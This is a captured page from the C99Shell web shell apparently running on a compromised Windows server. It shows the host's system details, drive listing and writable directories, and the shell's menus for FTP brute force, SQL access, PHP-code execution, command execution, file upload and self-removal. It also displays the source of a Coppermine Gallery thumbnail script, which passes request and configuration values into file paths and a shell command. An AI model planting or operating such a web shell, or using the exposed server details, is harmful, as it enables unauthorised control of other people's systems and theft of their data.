!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\cpg1418\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showthumb.php (4.32 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/showthumb.php $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

define('IN_COPPERMINE'true);
define('SHOWTHUMB_PHP'true);

require(
"include/init.inc.php");

if (!
GALLERY_ADMIN_MODEcpg_die(ERROR$lang_errors['access_denied'], __FILE____LINE__);

define("GIS_GIF"1);
define("GIS_JPG"2);
define("GIS_PNG"3);

define("UNKNOW_ICON"'images/unk48x48.gif');
define("GIF_ICON"'images/gif48x48.gif');
define("READ_ERROR_ICON"'images/read_error48x48.gif');

function 
makethumbnail($src_file$newSize$method)
{
    global 
$CONFIG;

    
$content_type = array(
        
GIS_GIF => 'gif',
        
GIS_JPG => 'jpeg',
        
GIS_PNG => 'png'
        
);
    
// Checks that file exists and is readable
    
if (!filesize($src_file) || !is_readable($src_file)) {
        
header("Content-type: image/gif");
        
fpassthru(fopen(READ_ERROR_ICON'rb'));
        exit;
    }
    
// find the image size, no size => unknow type
    
$imginfo getimagesize($src_file);
    if (
$imginfo == null) {
        
header("Content-type: image/gif");
        
fpassthru(fopen(UNKNOW_ICON'rb'));
        exit;
    }
    
// GD can't handle gif images
    //if ($imginfo[2] == GIS_GIF && ($method == 'gd1' || $method == 'gd2')) {
    
if ($imginfo[2] == GIS_GIF && $CONFIG['GIF_support'] == 0) {
        
header("Content-type: image/gif");
        
fpassthru(fopen(GIF_ICON'rb'));
        exit;
    }
    
// height/width
    
$srcWidth $imginfo[0];
    
$srcHeight $imginfo[1];

    
$ratio max($srcWidth$srcHeight) / $newSize;
    
$ratio max($ratio1.0);
    
$destWidth = (int)($srcWidth $ratio);
    
$destHeight = (int)($srcHeight $ratio);
    
// Choose method for thumb creation
    
switch ($method) {
        case 
"im" :
            if (
preg_match("#[A-Z]:|\\\\#Ai"__FILE__)) {
                
$cur_dir dirname(__FILE__);
                
$src_file '"' $cur_dir '\\' strtr($src_file'/''\\') . '"';
            } else {
                
$src_file escapeshellarg($src_file);
            }
            
header("Content-type: image/" . ($content_type[$imginfo[2]]));
            
passthru("{$CONFIG['impath']}convert -quality $CONFIG[jpeg_qual] -antialias -geometry {$destWidth}x{$destHeight} $src_file -");
            break;

        case 
"gd2" :
            if (
$imginfo[2] == GIS_GIF && $CONFIG['GIF_support'] == 1)
                
$src_img imagecreatefromgif($src_file);
            elseif (
$imginfo[2] == GIS_JPG)
                
$src_img imagecreatefromjpeg($src_file);
            else
                
$src_img imagecreatefrompng($src_file);
            if (
$imginfo[2] == GIS_GIF)
              
$dst_img imagecreate($destWidth$destHeight);
            else
              
$dst_img imagecreatetruecolor($destWidth$destHeight);
            
imagecopyresampled($dst_img$src_img0000$destWidth, (int)$destHeight$srcWidth$srcHeight);
            
header("Content-type: image/jpeg");
            
imagejpeg($dst_img);
            
imagedestroy($src_img);
            
imagedestroy($dst_img);
            break;

        default :
            if (
$imginfo[2] == GIS_JPG)
                
$src_img imagecreatefromjpeg($src_file);
            else
                
$src_img imagecreatefrompng($src_file);
            
$dst_img imagecreate($destWidth$destHeight);
            
imagecopyresized($dst_img$src_img0000$destWidth, (int)$destHeight$srcWidth$srcHeight);
            
header("Content-type: image/jpeg");
            
imagejpeg($dst_img);
            
imagedestroy($src_img);
            
imagedestroy($dst_img);
            break;
    }
}

makethumbnail($CONFIG['fullpath'] . $_GET['picfile'], $_GET['size'], $CONFIG['thumb_method']);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--